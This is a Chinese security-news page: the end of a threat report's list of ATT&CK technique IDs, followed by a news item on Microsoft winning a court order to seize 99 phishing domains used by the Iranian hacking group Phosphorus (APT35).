Deobfuscate/Decode Files or Information T1036 Masquerading T1112 Modify Registry T1027 Obfuscated Files or Information T1085 Rundll32 T1099 Timestomp T1117 Regsvr32 Credential Access T1179 Hooking T1056 Input Capture Discovery T1083 File and Directory Discovery T1046 Network Service Scanning T1135 Network Share Discovery T1057 Process Discovery T1082 System Information Discovery T1007 System Service Discovery Lateral Movement T1534 Internal Spearphishing Collection T1005 Data from Local System T1025 Data from Removable Media T1123 Audio Capture T1056 Input Capture T1113 Screen Capture T1115 Clipboard Data Command and Control T1043 Commonly Used Port T1094 Custom Command and Control Protocol T1024 Custom Cryptographic Protocol T1001 Data Obfuscation T1065 Uncommonly Used Port 6.4  参考链接 https://s.tencent.com/research/report/715.html      

微软申诉并成功控制涉及伊朗黑客攻击活动的域名

为了控制伊朗黑客组织使用的域名,微软向美国法院申诉并赢得了限制令,以控制黑客组织(被称为Phosphorus或APT 35)使用的99个网站,这些网站据信被用于各种黑客攻击。微软消费者安全主管Tom Burt在一篇博客文章中表示,法院本月早些时候批准了这项提议。 法院下达的限制令允许微软从注册商处控制域名并在自己的服务器上托管,包括“outlook-verify.net”和“yahoo-verify.net”,并将恶意流量安全地重定向到微软的服务器。 “在跟踪Phosphorus的整个过程中,我们与包括雅虎在内的许多其他科技公司密切合作,共享威胁信息并共同阻止攻击,”Burt说。 该黑客组织被认为与前美国空军反情报官Monica Witt有关,后者于2013年叛逃到德黑兰,现在因涉嫌从事间谍活动被联邦调查局通缉,这些黑客的目标通常是学术界和记者,他们的钓鱼页面看起来像雅虎和谷歌登录页面,且可以打败双因素身份验证。 这是微软针对黑客组织采取的最新法律诉讼。去年,该公司提起了针对Strontium的诉讼,称为APT 28或“Fancy Bear” – 与俄罗斯国家情报机构GRU有关。     (稿源:cnBeta,封面源自网络。)